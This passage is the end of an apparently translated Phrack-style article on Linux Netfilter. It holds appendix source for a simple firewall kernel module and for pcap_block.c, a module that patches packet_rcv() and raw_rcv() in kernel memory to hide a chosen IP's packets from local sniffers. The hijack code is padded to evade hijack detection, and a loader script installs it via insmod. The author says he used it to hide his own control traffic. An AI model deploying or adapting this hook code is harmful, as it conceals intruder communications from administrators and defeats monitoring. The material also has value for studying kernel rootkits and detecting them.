(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
return 0;
}
static int set_port_rule(unsigned short port)
{
deny_port = port;
lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */
printk("LWFW: Set to deny for TCP port: %d\n",
((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
return 0;
}
/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg)
{
int ret = 0;
switch (cmd) {
case LWFW_GET_VERS:
return LWFW_VERS;
case LWFW_ACTIVATE: {
active = 1;
printk("LWFW: Activated.\n");
if (!deny_if && !deny_ip && !deny_port) {
printk("LWFW: No deny options set.\n");
}
break;
}
case LWFW_DEACTIVATE: {
active ^= active;
printk("LWFW: Deactivated.\n");
break;
}
case LWFW_GET_STATS: {
ret = copy_stats((struct lwfw_stats *)arg);
break;
}
case LWFW_DENY_IF: {
ret = set_if_rule((char *)arg);
break;
}
case LWFW_DENY_IP: {
ret = set_ip_rule((unsigned int)arg);
break;
}
case LWFW_DENY_PORT: {
ret = set_port_rule((unsigned short)arg);
break;
}
default:
ret = -EBADRQC;
};
return ret;
}
/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
if (lwfw_ctrl_in_use) {
return -EBUSY;
} else {
MOD_INC_USE_COUNT;
lwfw_ctrl_in_use++;
return 0;
}
return 0;
}
/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
MOD_DEC_USE_COUNT;
return 0;
}
/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
/* Register the control device, /dev/lwfw */
SET_MODULE_OWNER(&lwfw_fops);
/* Attempt to register the LWFW control device */
if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
printk("LWFW: Failed registering control device!\n");
printk("LWFW: Module installation aborted.\n");
return major;
}
/* Make sure the usage marker for the control device is cleared */
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
printk("\nLWFW: Control device successfully registered.\n");
/* Now register the network hooks */
nfkiller.hook = lwfw_hookfn;
nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */
nfkiller.pf = PF_INET; /* IPV4 protocol hook */
nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */
/* And register... */
nf_register_hook(&nfkiller);
printk("LWFW: Network hooks successfully installed.\n");
printk("LWFW: Module installation successful.\n");
return 0;
}
void cleanup_module()
{
int ret;
/* Remove IPV4 hook */
nf_unregister_hook(&nfkiller);
/* Now unregister control device */
if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
printk("LWFW: Removal of module failed!\n");
}
/* If anything was allocated for the deny rules, free it here */
if (deny_if)
kfree(deny_if);
printk("LWFW: Removal of module successful.\n");
}
<-->
----[ A.3 - 頭文件 : lwfw.h
<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge - March 2003
*/
#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__
/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME "lwfw"
/* Version of LWFW */
# define LWFW_VERS 0x0001 /* 0.1 */
/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE
/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */
#define LWFW_ACTIVATE 0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS 0xFEED0004
#define LWFW_DENY_IF 0xFEED0005
#define LWFW_DENY_IP 0xFEED0006
#define LWFW_DENY_PORT 0xFEED0007
/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE 0x00000001
#define LWFW_IP_DENY_ACTIVE 0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004
/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
unsigned int if_dropped; /* Packets dropped by interface rule */
unsigned int ip_dropped; /* Packets dropped by IP addr. rule */
unsigned int tcp_dropped; /* Packets dropped by TCP port rule */
unsigned long total_dropped; /* Total packets dropped */
unsigned long total_seen; /* Total packets seen by filter */
};
/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR 241 /* This exists in the experimental range */
/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr) \
if ((ptr) == NULL) return -EINVAL
/* Macros for accessing options */
#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)
#endif /* __KERNEL__ */
#endif
<-->
<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o
.c.o:
$(CC) -c $< -o $@ $(CFLAGS)
all: $(OBJS)
clean:
rm -rf *.o
rm -rf ./*~
<-->
--[ B - 第6節(jié)中的源代碼
這里給出的是一個劫持packet_rcv()和raw_rcv()函數(shù)以隱藏來自或去往我們指定的IP地址的數(shù)據(jù)包的簡單模塊。默認的IP地址被設置為127.0.0.1,但是可以通過改變#define IP的值來改變它。還有一個bash腳本,用于從System.map文件中獲取需要的函數(shù)的入口地址,并且以需要的格式將這些地址做為參數(shù)來運行insmod命令。這個加載腳本是grem所寫。原用于我的Mod-off項目,很容易修改它使之適用于這里給出的模塊。再次感謝 grem。
給出的模塊僅是一個原理性的代碼,沒有使用任何模塊隱藏的方法。切記,雖然該模塊將通信從本機的嗅探器中隱藏,但是位于同一局域網(wǎng)的另一臺主機上的嗅探器仍然能看到這些數(shù)據(jù)包。從該模塊中所列出的內(nèi)容出發(fā),聰明的讀者可以找到所有在設計一個阻塞任何種類的數(shù)據(jù)包的過濾函數(shù)時所需的東西。我已經(jīng)成功的將本文提及的技術(shù)用于隱藏我的Linux核心模塊項目中用到的控制和信息獲取數(shù)據(jù)包。
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to Libpcap applications
* that use PACKET sockets. Also hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.
*
* Written by bioforge - 30th June, 2003
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h> /* For struct ip */
#include <linux/if_ether.h> /* For ETH_P_IP */
#include <asm/page.h> /* For PAGE_OFFSET */
/*
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP htonl(0x7F000001)
/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt);
MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */
/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");
/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;
/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \
sl_flags)
#define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \
sl_flags)
#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax; nop; dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
"\x40\x90\x48"
"\xff\xe0";
static unsigned char pr_orig[CODESIZE];
/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
"\x40\x90\x48"
"\xff\xe0";
static unsigned char rr_orig[CODESIZE];
/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt)
{
int sl_flags; /* Flags for spinlock */
int retval;
/* Check if this is an IP packet going to or coming from our
* hidden IP address. */
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0; /* Ignore this packet */
/* Call original */
HIJACK_LOCK;
memcpy((char *)pr, pr_orig, CODESIZE);
retval = pr(skb, dev, pt);
memcpy((char *)pr, pr_code, CODESIZE);
HIJACK_UNLOCK;
return retval;
}
/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
int sl_flags; /* Flags for spinlock */
int retval;
/* Check if this is an IP packet going to or coming from our
* hidden IP address. */
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0; /* Ignore this packet */
/* Call original */
HIJACK_LOCK;
memcpy((char *)rr, rr_orig, CODESIZE);
retval = rr(sock, skb);
memcpy((char *)rr, rr_code, CODESIZE);
HIJACK_UNLOCK;
return retval;
}
int init_module()
{
int sl_flags; /* Flags for spinlock */
/* pr & rr set as module parameters. If zero or < PAGE_OFFSET
* (which we treat as the lower bound of kernel memory), then
* we will not install the hacks. */
if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
printk("Address for packet_rcv() not valid! (%08x)\n",
(int)pr);
return -1;
}
if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
printk("Address for raw_rcv() not valid! (%08x)\n",
(int)rr);
return -1;
}
*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
*(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
HIJACK_LOCK;
memcpy(pr_orig, (char *)pr, CODESIZE);
memcpy((char *)pr, pr_code, CODESIZE);
memcpy(rr_orig, (char *)rr, CODESIZE);
memcpy((char *)rr, rr_code, CODESIZE);
HIJACK_UNLOCK;
EXPORT_NO_SYMBOLS;
return 0;
}
void cleanup_module()
{
int sl_flags;
lock_kernel();
HIJACK_LOCK;
memcpy((char *)pr, pr_orig, CODESIZE);
memcpy((char *)rr, rr_orig, CODESIZE);
HIJACK_UNLOCK;
unlock_kernel();
}
<-->
<++> pcaphide/loader.sh
#!/bin/sh
# Written by grem, 30th June 2003
# Hacked by bioforge, 30th June 2003
if [ "$1" = "" ]; then
echo "Use: $0 <System.map>";
exit;
fi
MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`
if [ "$PR" = "" ]; then
PR="00000000"
fi
if [ "$RR" = "" ]; then
RR="00000000"
fi
echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"
# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->
<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o
.c.o:
$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)
all: $(OBJS)
clean:
rm -rf *.o
rm -rf ./*~
<-->
------[ 參考文獻
該附錄包含寫本文過程中用到的參考文獻的列表。
[1] The tcpdump group
http://www.tcpdump.org
[2] The Packet Factory
http://www.packetfactory.net
[3] My network tools page -
http://uqconnect.net/~zzoklan/software/#net_tools
[4] Silvio Cesare's Kernel Function Hijacking article
http://vx.netlux.org/lib/vsc08.html
[5] Man pages for:
- raw (7)
- packet (7)
- tcpdump (1)
[6] Linux kernel source files. In particular:
- net/packet/af_packet.c (for packet_rcv())
- net/ipv4/raw.c (for raw_rcv())
- net/core/dev.c
- net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
stack
http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
http://www.linuxjournal.com/article.php?sid=4852
|=[ EOF ]=---------------------------------------------------------------=|